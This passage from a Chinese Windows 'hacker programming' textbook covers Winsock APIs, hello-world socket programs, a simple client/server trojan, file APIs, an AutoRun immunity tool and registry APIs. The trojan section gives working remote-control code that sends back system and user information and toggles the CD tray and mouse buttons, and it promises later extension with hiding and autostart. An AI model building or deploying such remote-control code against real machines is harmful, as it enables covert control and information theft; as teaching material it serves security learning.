int flags
 
);
 
参数说明如下。
 
（1）s：指定发送端套接字描述符。
 
（2）buf：指明一个存放应用程序要发送数据的缓冲区。
 
（3）len：指明实际要发送到数据的字节数。
 
（4）flags：一般设置为0。
 
基于TCP的接收函数：
 
int recv(
 
SOCKET s,
 
char FAR *buf,
 
int len,
 
int flags
 
);
 
参数说明如下。
 
（1）s：指定接收端套接字描述符。
 
（2）buf：指定一个缓冲区，用来存放接收到的数据。
 
（3）len：指定缓冲区的长度。
 
（4）flags：一般设置为0。
 
基于UDP的发送函数：
 
int sendto(
 
SOCKET s,
 
const char FAR *buf,
 
int len,
 
int flags,
 
const struct sockaddr FAR *to,
 
int tolen
 
);
 
基于UDP的接收函数：
 
int recvfrom(
 
SOCKET s,
 
char FAR* buf,
 
int len,
 
int flags,
 
struct sockaddr FAR *from,
 
int FAR *fromlen
 
);
 

 
2.2.4 字节顺序
 
数据在存储器中是按一定方式的，根据不同的 CPU 架构，其存储方式也不相同。比如Intel x86CPU架构使用小尾顺序，即高位存放高字节，低位存放低字节。例如0x12345678，在内存里的表示方式为78 56 34 12。
 
还有一种是大尾方式，即按网络字节顺序，也就是说所有的网络中传输的数据使用的均是大尾方式。大尾方式是高位存放低字节，低位存放高字节。例如0x12345678，在内存里的表示方式为12 34 56 78，如图2-1 所示。
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  图2-1 字节顺序 

 
本地字节顺序根据CPU架构的不同可能是小尾方式，也可能是大尾方式，但是对于网络字节顺序来说，一定是大尾方式。Winsock 提供了一些用来处理本地的字节顺序和网络的字节顺序的转换函数。这些函数如下：
 
本地字节顺序转换为网络字节顺序：
 
u_short htons(u_short hostshort);
 
u_long htonl(u_long hostlong);
 
网络字节顺序转换为本地字节顺序：
 
u_short ntohs(u_short netshort);
 
u_long ntohl(u_long netlong);
 
当我们在调试软件的时候，经常会在内存中查找某一个数据，但是怎么也找不到，在这个时候就应该想到字节顺序的问题。在做破解和外挂的时候，不了解这些基本概念的话经常会感到困惑，请大家一定要注意这个细小的问题。
 

 
2.3 简单的通信程序
 
网络通信方面的基础函数我们已经了解了一些，把这些知识都连起来，就可以编写一个网络程序了。我们分别来写一个基于TCP协议和基于UDP协议的小程序。这是一个非常经典的程序，就是在编程界举世闻名的输出“HelloWorld！”！的程序，只不过是Winsock 版本。
 

 
2.3.1 基于TCP协议的“Hello World!”
 
服务器端的代码编写流程如下：
 
WSAStartup()->socket()->bind()->listen()->accept()->send()/recv()->closesocket()->W SACleanup()。
 
只要把这些函数依次写完，服务器端的代码就写完了。
 
服务器端代码如下：
 
#include <winsock2.h>
 
#pragma comment (lib, "ws2_32")
 
int main(int argc, char* argv[])
 
{
 
WSADATA wsaData;
 
WSAStartup(MAKEWORD(2,2), &wsaData);
 
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 
sockaddr_in sockaddr;
 
sockaddr.sin_family = PF_INET;
 
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
 
sockaddr.sin_port = htons(827);
 
bind(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
 
listen(s, 1);
 
SOCKADDR clientAddr;
 
int nSize = sizeof(SOCKADDR);
 
SOCKET clientSock;
 
clientSock = accept(s, (SOCKADDR*)&clientAddr, &nSize);
 
send(clientSock,
 
"hello client \r\n",
 
strlen("hello client \r\n") + sizeof(char),
 
NULL);
 
closesocket(clientSock);
 
closesocket(s);
 
WSACleanup();
 
return 0;
 
}
 
客户端的代码编写流程如下：
 
WSAStarup()->socket()->connect()->recv()/send()->closesocket()->WSACleanup()。
 
客户端的流程比服务器端的流程要更少一些，主要是省去了绑定IP和端口、监听等一些步骤。
 
客户端代码如下：
 
#include <stdio.h>
 
#include <winsock2.h>
 
#pragma comment (lib, "ws2_32")
 
int main(int argc, char* argv[])
 
{
 
WSADATA wsaData;
 
WSAStartup(MAKEWORD(2, 2), &wsaData);
 
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 
sockaddr_in sockAddr;
 
sockAddr.sin_family = PF_INET;
 
sockAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
 
sockAddr.sin_port = htons(827);
 
connect(s, (SOCKADDR*)&sockAddr, sizeof(SOCKADDR));
 
char szBuffer[MAXBYTE] = { 0 };
 
recv(s, szBuffer, MAXBYTE, NULL);
 
printf("szBuffer = %s \r\n", szBuffer);
 
closesocket(s);
 
WSACleanup();
 
return 0;
 
}
 
在上面的代码中，我们只是简单地把所有的API函数都串起来写了一遍，就能实现想要的功能。但是请注意，大家在写的时候一定要把所有函数的返回值加以判断，形成一个好的习惯。
 

 
2.3.2 基于UDP协议的“Hello World!”
 
UDP客户端与服务器端的编写方法与TCP的相似，只要注意其中的差别就可以了。
 
服务端代码如下：
 
#include <winsock2.h>
 
#include <stdio.h>
 
#pragma comment (lib, "ws2_32")
 
int main(int argc, char* argv[])
 
{
 
WSADATA wsaData;
 
WSAStartup(MAKEWORD(2, 2), &wsaData);
 
SOCKET s = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
 
sockaddr_in sockAddr;
 
sockAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
 
sockAddr.sin_port = htons(827);
 
sockAddr.sin_family = PF_INET;
 
bind(s, (SOCKADDR*)&sockAddr, sizeof(SOCKADDR));
 
sockaddr_in clientAddr;
 
int len = sizeof(sockaddr_in);
 
char buf[MAXBYTE] = { 0 };
 
recvfrom(s, buf, MAXBYTE, 0, (SOCKADDR*)&clientAddr, &len);
 
printf("%s \r\n", buf);
 
sendto(s,
 
"hello world client",
 
strlen("hello world client") + sizeof(char),
 
0,
 
(SOCKADDR*)&clientAddr,
 
sizeof(SOCKADDR));
 
closesocket(s);
 
WSACleanup();
 
return 0;
 
}
 
客户端代码如下：
 
#include <winsock2.h>
 
#include <stdio.h>
 
#pragma comment (lib, "ws2_32")
 
int main(int argc, char* argv[])
 
{
 
WSADATA wsaData;
 
WSAStartup(MAKEWORD(2, 2), &wsaData);
 
SOCKET s = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
 
sockaddr_in sockAddr;
 
sockAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
 
sockAddr.sin_port = htons(827);
 
sockAddr.sin_family = PF_INET;
 
sendto(s,
 
"hello world server",
 
strlen("hello world server ") + sizeof(char),
 
0,
 
(SOCKADDR*)&sockAddr,
 
sizeof(SOCKADDR));
 
sockaddr_in clientAddr;
 
int len = sizeof(sockaddr_in);
 
char buf[MAXBYTE] = { 0 };
 
recvfrom(s, buf, MAXBYTE, 0, (SOCKADDR*)&clientAddr, &len);
 
printf("%s \r\n", buf);
 
closesocket(s);
 
WSACleanup();
 
return 0;
 
}
 

 
2.4 实现一个C/S模式的简单木马
 
C/S模式的木马的工作方式和网上聊天的工作方式没什么差别，都是基于TCP/IP协议的通信，都是在传递信息。不同的是，木马的客户端向服务器端发送的内容是控制命令，服务器端收到控制命令执行相应的功能，并将执行结果反馈给客户端，这就是远程控制。如果客户端加一些隐藏进程，复制自身到系统目录，然后自动启动……那么服务端就是一个木马了。
 
这个木马主要实现以下几个简单的功能：
 
（1）完成帮助命令的发送；
 
（2）可以查看远程主机的相关信息，以及把自身复制到可执行目录中；
 
（3）打开光驱和关闭光驱；
 
（4）交换鼠标左右键和恢复鼠标左右键功能。
 

 
2.4.1 木马服务器端的实现
 
这里，由于有一些内容还没有学到，所以暂时不去实现，在后面的章节里，再把木马的内容充实起来。不过这仅仅是学习，要开发一个专业的木马并不是一件容易的事情。最关键的是，我们做的一切都是为了学习编程，为了学习计算机安全，而不是为了搞破坏。希望大家谨记于心。
 
我们的木马是命令行下的木马，所以当实现功能多了以后很多命令就会忘记。为了方便使用，在木马中加入帮助系统，也就是在输入指定命令后，客户端会把命令发给我们。把相关的命令定义成宏，方便我们修改，定义如下：
 
#define HELPMSG "help - Show Help Menu \r\n" \
 
"getsysinfo - Get SysTem Information" \
 
"open - Open The CDRom \r\n" \
 
"close - Close The CDRom \r\n" \
 
"swap - Swap Mouse Button \r\n" \
 
"restore - Restore Mouse Button \r\n" \
 
"exit - Quit BdShell"
 
这里有个问题，这个命令是定义在客户端好，还是定义在服务器端好？定义在客户端当我们查看命令字的时候，省去了一次网络的通信传输，速度相对较快。但是，我们的木马客户端只是简单地发送命令，服务器端根据不同的命令来完成相应的功能，从这样的角度来看，可能客户端基本上定下来以后就不再变了，而有变化的就是服务器端了。当连接了木马的服务器端以后，要确定当前连接的木马提供多少种功能，为了确定木马能执行哪些功能，因此笔者认为帮助定义在服务器端较好。
 
我们木马的主体形式是接收命令，其实就是让 recv()函数接收字符串，根据接收的字符串进行匹配从而完成相应的动作。代码的大体形式如下：
 
while ( TRUE )
 
{
 
//发送一个命令提示
 
send(clientSock,
 
"BdShell>",
 
strlen("BdShell>") +sizeof(char),
 
0);
 
char buff[MAXBYTE] = { 0 };
 
// 接收客户端发来的命令
 
recv(clientSock, buff, MAXBYTE, 0);
 
if ( !strcmp(buff, "exit") )
 
{
 
break;
 
}
 
// 分发命令
 
BOOL bRet = Dispatch(clientSock, buff);
 
if ( bRet == FALSE )
 
{
 
send(clientSock,
 
"Command Unsuccessfully!",
 
strlen("Command Unsuccessfully!") + sizeof(char),
 
0);
 
}
 
}
 
以上代码是用来进行循环接收命令的，分发命令的部分就是一些判断和比较了，如下：
 
BOOL Dispatch(SOCKET sock, char *szCmd)
 
{
 
BOOL bRet = FALSE;
 
// 根据不同的命令，完成不同功能
 
if ( !strcmp(szCmd, "help") )
 
{
 
}
 
// 获取系统信息
 
else if ( !strcmp(szCmd, "getsysinfo"))
 
{
 
}
 
// 打开光驱
 
else if ( !strcmp(szCmd, "open") )
 
{
 
}
 
// 关闭光驱
 
else if ( !strcmp(szCmd, "close") )
 
{
 
}
 
// 交换鼠标左右键功能
 
else if ( !strcmp(szCmd, "swap") )
 
{
 
}
 
// 恢复鼠标左右键功能
 
else if ( !strcmp(szCmd, "restore") )
 
{
 
}
 
else
 
{
 
}
 
return bRet;
 
}
 
根据前面列举的那些功能我们逐个实现。
 
首先是完成帮助命令的发送，这个非常简单，只要调用send()就可以完成了，代码如下：
 
if ( !strcmp(szCmd, "help") )
 
{
 
send(sock, HELPMSG, strlen(HELPMSG) + sizeof(char), 0);
 
bRet = TRUE;
 
}
 
对于复制到系统目录这个功能大家请参考第1章，这里就不重复了，但是对于获得系统信息，就需要修改一下了。不能直接输出，而是需要定义一个结构体保存获取到的信息，以便发送给客户端，结构体如下：
 
#define NAME_LEN 20
 
typedef struct _SYS_INFO
 
{
 
OSVERSIONINFO OsVer;　　　　// 保存操作系统信息
 
char szComputerName[NAME_LEN];　　// 保存计算机名
 
char szUserName[NAME_LEN];　　　// 保存当前登录名
 
}SYS_INFO, *PSYS_INFO;
 
把获取到的信息保存在该结构体中，发送给客户端就可以了。客户端的显示与第1章介绍的类似。发送代码如下：
 
if ( !strcmp(szCmd, "getsysinfo"))
 
{
 
SYS_INFO SysInfo = { 0 };
 
GetSysInfo(&SysInfo);
 
int n = send(sock, (const char *)&SysInfo, sizeof(SYS_INFO), 0);
 
bRet = TRUE;
 
}
 
对于光驱的打开与关闭、交换与恢复鼠标左右键功能的实现也非常简单，函数原型如下：
 
BOOL SwapMouseButton(
 
BOOL fSwap　// reverse or restore buttons
 
);
 
MCIERROR mciSendString(
 
LPCTSTR lpszCommand,
 
LPTSTR lpszReturnString,
 
UINT cchReturn,
 
HANDLE hwndCallback
 
);
 
不对这两个函数进行介绍了，直接看代码吧。
 
VOID SetCdaudio(BOOL bOpen)
 
{
 
if ( bOpen )
 
{
 
// 打开光驱
 
mciSendString("set cdaudio door open", NULL, NULL, NULL);
 
}
 
else
 
{
 
// 关闭光驱
 
mciSendString("set cdaudio door closed", NULL, NULL, NULL);
 
}
 
}
 
VOID SetMouseButton(BOOL bSwap)
 
{
 
if ( bSwap)
 
{
 
// 交换
 
SwapMouseButton(TRUE);
 
}
 
else
 
{
 
// 恢复
 
SwapMouseButton(FALSE);
 
}
 
}
 
以上就是木马服务器端的全部代码了。我们只是把一些简单的知识连贯起来使用，就是一个木马了。
 

 
2.4.2 木马客户端的实现
 
木马客户端的代码就是完成字符串的发送，代码非常简单，直接看完整的源代码。
 
#include <winsock2.h>
 
#include <stdio.h>
 
#include <conio.h>
 
#pragma comment (lib, "ws2_32")
 
#define NAME_LEN 20
 
typedef struct _SYS_INFO
 
{
 
OSVERSIONINFO OsVer;　　　　// 保存操作系统信息
 
char szComputerName[NAME_LEN];　　// 保存计算机名
 
char szUserName[NAME_LEN];　　　// 保存当前登录名
 
}SYS_INFO, *PSYS_INFO;
 
VOID ShowSysInfo(PSYS_INFO SysInfo)
 
{
 
if ( SysInfo->OsVer.dwPlatformId == VER_PLATFORM_WIN32_NT )
 
{
 
if ( SysInfo->OsVer.dwMajorVersion == 5 && SysInfo->OsVer.dwMinorVersion == 1 )
 
{
 
printf("Windows XP %s \r\n", SysInfo->OsVer.szCSDVersion);
 
}
 
else if ( SysInfo->OsVer.dwMajorVersion == 5 && SysInfo->OsVer.dwMinorVersion == 0)
 
{
 
printf("Windows 2K \r\n");
 
}
 
}
 
else
 
{
 
printf("Ohter System \r\n");
 
}
 
printf("Computer Name is %s \r\n", SysInfo->szComputerName);
 
printf("User Name is %s \r\n", SysInfo->szUserName);
 
}
 
int main(int argc, char* argv[])
 
{
 
WSADATA wsaData;
 
WSAStartup(MAKEWORD(2, 2), &wsaData);
 
SOCKET ClientSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 
sockaddr_in ServerAddr;
 
ServerAddr.sin_family = PF_INET;
 
ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
 
ServerAddr.sin_port = htons(827);
 
connect(ClientSock, (SOCKADDR*)&ServerAddr, sizeof(SOCKADDR));
 
while ( TRUE )
 
{
 
char Buff[MAXBYTE] = { 0 };
 
char Cmd[MAXBYTE] = { 0 };
 
recv(ClientSock, Buff, MAXBYTE, 0);
 
printf("%s", Buff);
 
scanf("%s", Cmd);
 
send(ClientSock, Cmd, MAXBYTE, 0);
 
if ( !strcmp(Cmd, "exit") )
 
{
 
printf("Login out ! \r\n");
 
break;
 
}
 
memset(Buff, 0, MAXBYTE);
 
recv(ClientSock, Buff, MAXBYTE, 0);
 
if ( !strcmp(Cmd, "getsysinfo"))
 
{
 
PSYS_INFO SysInfo = (PSYS_INFO)Buff;
 
ShowSysInfo(SysInfo);
 
}
 
else
 
{
 
printf("%s \r\n", Buff);
 
}
 
}
 
getch();
 
WSACleanup();
 
return 0;
 
}
 
上面是一个最简单的C/S模式的木马。是不是很简单啊？感觉我们的小马很“瘦”是吧？不足以日行千里是吧？有奢求，有欲望是好的。在后面的章节当中大家可以慢慢地补足这匹马儿的功能。再次提醒，本书的目的是和大家学习黑客编程，旨在通过黑客编程学习系统知识和安全知识，并非拿来做坏事的。
 

 
2.5 总结
 
本章内容简单易学，不会因为过多复杂难懂的代码而让大家失去了学习的热情。也许你觉得意犹未尽，也许觉得不够深入，我们的学习目标就是通过简单的知识，完成实现特定功能的程序。在后面学习的过程中，我们仍然以这种方式进行学习，也会随着这种学习方式逐步地深入了解编程知识。
第3章 Windows应用编程基础
 
刚开始接触编程的“玩黑”的读者可能都会觉得API是一个很神奇的且很万能的东西。其实，API只是Windows下进行开发的基础知识，当然基础并不代表简单，能真正用好API来开发程序也是非常不容易的，本章将重点介绍很多今后在编程中常会用到的API函数，包括进程、线程、文件、注册表、注入等相关的API函数。
 

 
3.1 文件
 
在Windows下文件有很多种，比如图片文件、视频文件、音频文件……除了常见的文件格式外，其实对于管道、邮槽，甚至是设备对象，在Windows下也被当做文件来对待，这样对于我们操作管道、邮槽、设备对象就像操作文件一样简单了。
 
对于操作任何文件，我们最先的操作是对文件的打开，操作结束时为了释放资源要进行关闭。我们依次学习如何使用这些 API 函数，然后完成一个简单的小例子。从“文件操作”开始，我们要接触MFC方面的编程，但不会很难，都是一些对界面和控件之类的使用。
 

 
3.1.1 打开文件
 
要对文件进行操作，就要首先对文件进行打开操作，文件打开成功会返回一个句柄，然后通过这个句柄对文件进行读写操作。
 
打开文件的API函数如下定义：
 
HANDLE CreateFile(
 
LPCTSTR lpFileName,　　　　　　　// file name
 
DWORD dwDesiredAccess,　　　　　　// access mode
 
DWORD dwShareMode,　　　　　　　// share mode
 
LPSECURITY_ATTRIBUTES lpSecurityAttributes,　// SD
 
DWORD dwCreationDisposition,　　　　　// how to create
 
DWORD dwFlagsAndAttributes,　　　　　// file attributes
 
HANDLE hTemplateFile　　　　　　　// handle to template file
 
);
 
参数说明如下。
 
（1）lpFileName：要打开或创建的文件名。这里也可以不是文件名，可以是管道名、设备对象名。
 
（2）dwDesiredAccess：对文件的访问模式，通常是GENERIC_READ和GENERIC_WRITE。
 
（3）dwShareMode：对文件的共享模式。Windows 是多进程的操作系统，在一个文件被访问时，可能会有另一个进程也访问该文件。这时第一个打开该文件的进程就要对其设置一个访问模式，即打开此文件后，其他进程对该文件可以有哪些操作。
 
（4）lpSecurityAttributes：安全属性，一般为NULL。
 
（5）dwCreationDisposition：在创建或打开的文件存在或不存在时该函数的处理方式。
 
（6）dwFlagsAndAttributes：打开或创建文件时的标志和属性。一般是FILE_ATTRIBUTE_NORMAL。
 
（7）hTemplateFile：文件模板，一般为NULL。
 
该函数若执行成功，则返回一个文件句柄；若执行失败，则返回INVALID_HANDLE_VALUE。
 
在对文件使用完毕后，应该对打开的句柄进行关闭以释放资源，关闭句柄的函数如下：
 
BOOL CloseHandle(
 
HANDLE hObject　// handle to object
 
);
 
该函数就一个参数，这个参数就是调用CreateFile()函数时的返回值，也就是文件句柄。
 

 
3.1.2 文件操作
 
文件操作的种类有4种，分别是“增、删、改、查”。熟悉数据库操作的读者一定感觉这4种操作是针对数据库的，怎么对于文件的操作也是这4种呢？其实，不单单是对文件的操作，对注册表的操作，对服务的操作，对进程的操作……也都存在着“增、删、改、查”这些操作。还是讨论文件的这4种操作，文件的“增”其实就是“创建”文件，文件的“删”就是“删除”文件，文件的“改”就是对文件的“写”操作，文件的“查”就是对文件的“读”操作。当然了，对于文件的“读操作”分为狭义的和广义的两种。狭义的“读文件”就是读取文件的内容，对于广义的“读文件”来说，可以是读取文件的大小、读取文件的创建时间和修改时间……文件的创建是通过 CreateFile()函数来完成的，文件的打开也是通过CreateFile()函数来完成。对于删除文件、写文件、读文件……这些API函数，下面将逐一进行介绍。
 
删除文件的API函数如下：
 
BOOL DeleteFile(
 
LPCTSTR lpFileName　// file name
 
);
 
该函数的参数就只有一个，而且非常简单，就是要删除的文件的文件名。
 
文件的读函数如下：
 
BOOL ReadFile(
 
HANDLE hFile,　　　　　// handle to file
 
LPVOID lpBuffer,　　　　// data buffer
 
DWORD nNumberOfBytesToRead,　　// number of bytes to read
 
LPDWORD lpNumberOfBytesRead,　// number of bytes read
 
LPOVERLAPPED lpOverlapped　　// overlapped buffer
 
);
 
参数说明如下。
 
（1）hFile：该参数是CreateFile()函数返回的句柄。
 
（2）lpBuffer：指向一个缓冲区，函数会将从文件中读出的数据保存在该缓冲区中。
 
（3）nNumberOfBytesToRead：要求读入的字节数，通常情况下是缓冲区的大小。
 
（4）lpNumberOfBytesRead：该参数是一个指向 DWORD 类型的变量，用于返回实际读入的字节数。
 
（5）lpOverlapped：一般设为NULL。
 
文件的写函数如下：
 
BOOL WriteFile(
 
HANDLE hFile,　　　　　// handle to file
 
LPCVOID lpBuffer,　　　　// data buffer
 
DWORD nNumberOfBytesToWrite,　// number of bytes to write
 
LPDWORD lpNumberOfBytesWritten,　// number of bytes written
 
LPOVERLAPPED lpOverlapped　　// overlapped buffer
 
);
 
WriteFile()函数与ReadFile()函数的参数意义基本相同，所不同的是第二个参数，第二个参数仍然指向一个缓冲区，函数会将该缓冲区的内容写入到文件中。
 
设置文件指针的函数如下：
 
DWORD SetFilePointer(
 
HANDLE hFile,　　　　　// handle to file
 
LONG lDistanceToMove,　　　// bytes to move pointer
 
PLONG lpDistanceToMoveHigh,　　// bytes to move pointer
 
DWORD dwMoveMethod　　　　// starting point
 
);
 
参数说明如下。
 
（1）hFile：CreateFile()函数打开文件的句柄。
 
（2）lDistanceToMove：指定要移动的距离。
 
（3）lpDistanceToMoveHigh：一个指向LONG型的指针，其保存一个要移动的距离的高32位。
 
（4）dwMoveMethod：指定移动的起始位置。
 
创建目录的函数如下：
 
BOOL CreateDirectory(
 
LPCTSTR lpPathName,　　　　　　　// directory name
 
LPSECURITY_ATTRIBUTES lpSecurityAttributes　// SD
 
);
 
参数说明如下。
 
（1）lpPathName：创建目录的目录名称；
 
（2）lpSecurityAttributes：一般为NULL。
 
移除目录的函数如下：
 
BOOL RemoveDirectory(
 
LPCTSTR lpPathName　// directory name
 
);
 
该函数的参数指定要移除的目录的目录名。
 
关于文件操作的函数就简单介绍这么几个，在以后的内容中将继续介绍。文件操作是Windows下编程的重要基础，应用非常广泛，希望读者能掌握以上介绍的函数。
 

 
3.2 AutoRun免疫程序的编写
 
我们通过上面学的几个函数来完成一个简单的AutoRun免疫程序。
 

 
3.2.1 AutoRun免疫原理
 
每当我们打开U盘时，看到有一个AutoRun.inf文件时都会不由地倒吸口凉气，“该死！又中病毒了！”。是的，有一种病毒程序通过 AutoRun.inf 文件使其自动运行起来，想必这不用做过多的介绍每一位都非常清楚。网上有很多免疫工具，现在一些修改版的操作系统里面也会提供这样一个免疫的小工具。它免疫的原理是建立一个不被删除的文件 AutoRun.inf 文件夹，以防止病毒生成一个运行病毒的AutoRun.inf。
 

 
3.2.2 AutoRun免疫程序的代码实现
 
我们的程序使用MFC编写，上面介绍的API函数会使用到两个，并且还会加入新的API函数。好了，开始我们的代码吧。
 
启动VC6，选择菜单“File”->“New”命令，在弹出的“New”对话框中选择“Projects”选项卡，在左侧的列表中选择“MFC App Wizard(exe)”，在右侧填写项目的名称“ImmunityU”，如图3-1所示。
 
单击“OK”按钮后，出现“MFC App Wizard–Step 1”的界面，选择“Dialog based”单选钮，如图3-2所示。
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  图3-1 新建MFC项目工程 

 

 [image: figure_0043_0024]

 

  图3-2 “MFC App Wizard–Step1”界面 

 
这里，我们选择以对话框为基础进行开发。单击“Finish”按钮会出现最后一个对话框，直接单击“OK”按钮关闭对话框。
 

 
3.2.3 界面设置
 
我们的程序是有界面的，则首先要对界面进行一些设置。先把界面上所有的控件都删除掉，然后添加一个ComBoBox控件和两个按钮控件，如图3-3所示。
 
给添加的ComBoBox控件重新命名一个ID为：IDC_COMBO_DRIVER，并为其添加一个控件变量。添加的方法如下：
 
在 IDC_COMBO_DRIVER 上单击右键，在弹出的菜单上选择“ClassWizard”命令，弹出“MFC ClassWizard”对话框，选择“Member Variables”选项卡，双击IDC_COMBO_DRIVER，弹出“Add Member Variable”对话框，添加变量名为m_ComboDriver，选择类型为“Control”，然后单击“OK”按钮。添加情况如图3-4所示。
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  图3-3 程序界面 

 

 [image: figure_0044_0026]

 

  图3-4 给IDC_COMBO_DRIVER 添加控件变量m_ComboDriver 

 

 
3.2.4 代码相关部分
 
我们进行免疫时是对某个分区进行免疫的，因此要在ComboBox控件中显示出所有的磁盘分区供用户选择。在ComboBox中显示所有的磁盘分区，我们定义成一个函数来完成该功能。
 
VOID CImmunityUDlg::InitComboDriver()
 
{
 
char szDriverString[MAXBYTE] = { 0 };
 
char *pTmp = NULL;
 
SetDlgItemText(IDC_COMBO_DRIVER, _T("请选择欲免疫的盘符..."));
 
GetLogicalDriveStrings(MAXBYTE, szDriverString);
 
pTmp = szDriverString;
 
while ( *pTmp )
 
{
 
m_ComboDriver.AddString(pTmp);
 
pTmp += 4;
 
}
 
}
 
把这个函数添加到OnInitDialog()函数的最后面，ComboBox中就会有所有的磁盘分区的盘符了。这个自定义函数中出现了两个我们尚不熟悉的API函数，一个是SetDlgItemText()，另一个是GetLogicalDriveStrings()。下面分别介绍这两个函数。
 
设置编辑框显示的内容：
 
void SetDlgItemText( int nID, LPCTSTR lpszString );
 
该函数的第一个参数用来指定控件变量的ID，第二个参数指定一个字符串。
 
获取字符串类型的驱动器列表：
 
DWORD GetLogicalDriveStrings(
 
DWORD nBufferLength,　// size of buffer
 
LPTSTR lpBuffer　　　// drive strings buffer
 
);
 
该函数的第一个参数指定缓冲区的长度，第二个参数指定一个缓冲区。
 
了解了这两个函数后，再来看代码就很容易理解了。在 while 循环中的 AddString()是CComboBox类的一个成员函数，该函数是用来向CComboBox添加一个字符串的。如果你不理解那个while循环的话，建议在VC6下调试一下看看szDriverString里保存的内容，就会明白 while 循环的作用了。这个调试建议大家亲自动手练习一次，这是第一次要求大家动手调试。
 
接下来添加“免疫”按钮的代码，代码很简单，如下：
 
// 创建的目录
 
#define AUTORUN　"autorun.inf"
 
// 创建的无法删除的目录
 
#define IMMUNITY　"\\Immunity...\\"
 
void CImmunityUDlg::OnBtnImmunity()
 
{
 
// TODO: Add your control notification handler code here
 
char szPath[MAX_PATH] = { 0 };
 
GetDlgItemText(IDC_COMBO_DRIVER, szPath, MAX_PATH);
 
// 创建autorun.inf文件夹
 
strcat(szPath, AUTORUN);
 
BOOL bRet = CreateDirectory(szPath, NULL);
 
if ( !bRet )
 
{
 
AfxMessageBox("无法免疫该盘符！可能已经免疫，或者该磁盘为不可写状态！");
 
return ;
 
}
 
// 创建无法删除的用来进行免疫的文件夹
 
strcat(szPath, IMMUNITY);
 
bRet = CreateDirectory(szPath, NULL);
 
if ( !bRet )
 
{
 
AfxMessageBox("无法免疫该盘符！可能已经免疫，或者该磁盘为不可写状态！");
 
}
 
}
 
这段代码中加了详细的注释，大家应该可以看懂，就不做过多介绍了，如果哪里有疑惑的话，请大家自己动手调试一下。最后看一下“取消”按钮的代码：
 
void CImmunityUDlg::OnBtnCancel()
 
{
 
// TODO: Add your control notification handler code here
 
char szPath[MAX_PATH] = { 0 };
 
GetDlgItemText(IDC_COMBO_DRIVER, szPath, MAX_PATH);
 
strcat(szPath, AUTORUN);
 
strcat(szPath, IMMUNITY);
 
RemoveDirectory(szPath);
 
ZeroMemory(szPath, MAX_PATH);
 
GetDlgItemText(IDC_COMBO_DRIVER, szPath, MAX_PATH);
 
strcat(szPath, AUTORUN);
 
RemoveDirectory(szPath);
 
}
 
整个对Autorun进行免疫的代码就完成了，大家可以自己进行一下试验。启动我们的程序，选择需要进行免疫的盘符，单击“免疫”，打开被免疫的那个磁盘，看看是不是真的免疫了，再试着用右键删除看看效果，可以看到我们的实现是成功的。
 

 
3.3 注册表操作
 

 
3.3.1 注册表
 
免疫Autorun的程序虽然完成了，但是并不是很完整，我们可以在注册表中把“自动播放”禁止掉，这样即使有Autorun.inf文件，系统也不会运行它，系统的安全系数就会更高了。
 
注册表是Windows操作系统的一个重要的数据库，里面记录了系统几乎所有的信息。当然，由于注册表的功能非常强大，因此，注册表对于病毒、木马来说是非常有利用价值的地方。而对于反病毒软件来说，注册表是其需要加强守卫的地方。注册表，是一个正义与邪恶的必争之处。
 
注册表对于病毒来说可以利用的地方非常多，比如修改文件关联，增加系统的启动项，映像劫持，篡改浏览器主页……病毒的这些操作让我们不得不了解注册表相关的编程。
 

 
3.3.2 与注册表操作相关的常用API函数
 
对于学习黑客编程来说，注册表的操作当然不能少，现在就来学习关于注册表的操作。注册表的操作和文件的操作类似，也有打开、关闭、写入、查询等操作，也就是我们所说的“增、删、改、查”，只是使用的API函数不同而已。下面分别介绍每个API函数的使用方法。
 
打开注册表：
 
LONG RegOpenKey(
 
HKEY hKey,　　　// handle to open key
 
LPCTSTR lpSubKey,　// name of subkey to open
 
PHKEY phkResult　// handle to open key
 
);
 
参数说明如下。
 
（1）hKey：指定一个父键句柄。
 
（2）lpSubKey：指向一个字符串，用来表示要打开的子键名称。
 
（3）phkResult：返回打开的子键句柄。
 
关闭注册表：
 
LONG RegCloseKey(
 
HKEY hKey　// handle to key to close
 
);
 
该函数只有一个参数，参数是打开子键的句柄。
 
注册表键值的查询：
 
LONG RegQueryValueEx(
 
HKEY hKey,　　　　// handle to key
 
LPCTSTR lpValueName,　// value name
 
LPDWORD lpReserved,　　// reserved
 
LPDWORD lpType,　　　// type buffer
 
LPBYTE lpData,　　　// data buffer
 
LPDWORD lpcbData　　// size of data buffer
 
);
 
参数说明如下。
 
（1）hKey：指向一个已被打开或创建的子键句柄。
 
（2）lpValueName：指定要被查询的键值的名称。
 
（3）lpReserved：保留，始终为NULL。
 
（4）lpType：返回被查询的值的类型。
 
（5）lpData：指向要查询数据的缓冲区。
 
（6）lpcbData：缓冲区的长度。
 
注册表键值的写入：
 
LONG RegSetValueEx(
 
HKEY hKey,　　　　// handle to key
 
LPCTSTR lpValueName,　// value name
 
DWORD Reserved,　　　// reserved
 
DWORD dwType,　　　// value type
 
CONST BYTE *lpData,　　// value data
 
DWORD cbData　　　// size of value data
 
);
 
参数说明如下。
 
（1）hKey：指向一个已被打开或创建的子键句柄。
 
（2）lpValueName：指定要被查询或写入的键值的名称。
 
（3）Reserved：保留，始终为0。
 
（4）dwType：写入键值的类型。
 
（5）lpData：写入键值的缓冲区。
 
（6）cbData：写入键值缓冲区的长度。
 
注册表键值的枚举：
 
LONG RegEnumValue(
 
HKEY hKey,　　　　// handle to key to query
 
DWORD dwIndex,　　　// index of value to query
 
LPTSTR lpValueName,　　// value buffer
 
LPDWORD lpcValueName,　// size of value buffer
 
LPDWORD lpReserved,　　// reserved
 
LPDWORD lpType,　　　// type buffer
 
LPBYTE lpData,　　　// data buffer
 
LPDWORD lpcbData　　// size of data buffer
 
);
 
参数说明如下。
 
（1）hKey：指向一个已被打开或创建的子键句柄。
 
（2）dwIndex：查询的索引值。
 
（3）lpValueName：键名的缓冲区。
 
（4）lpcValueName：键名缓冲区的长度。
 
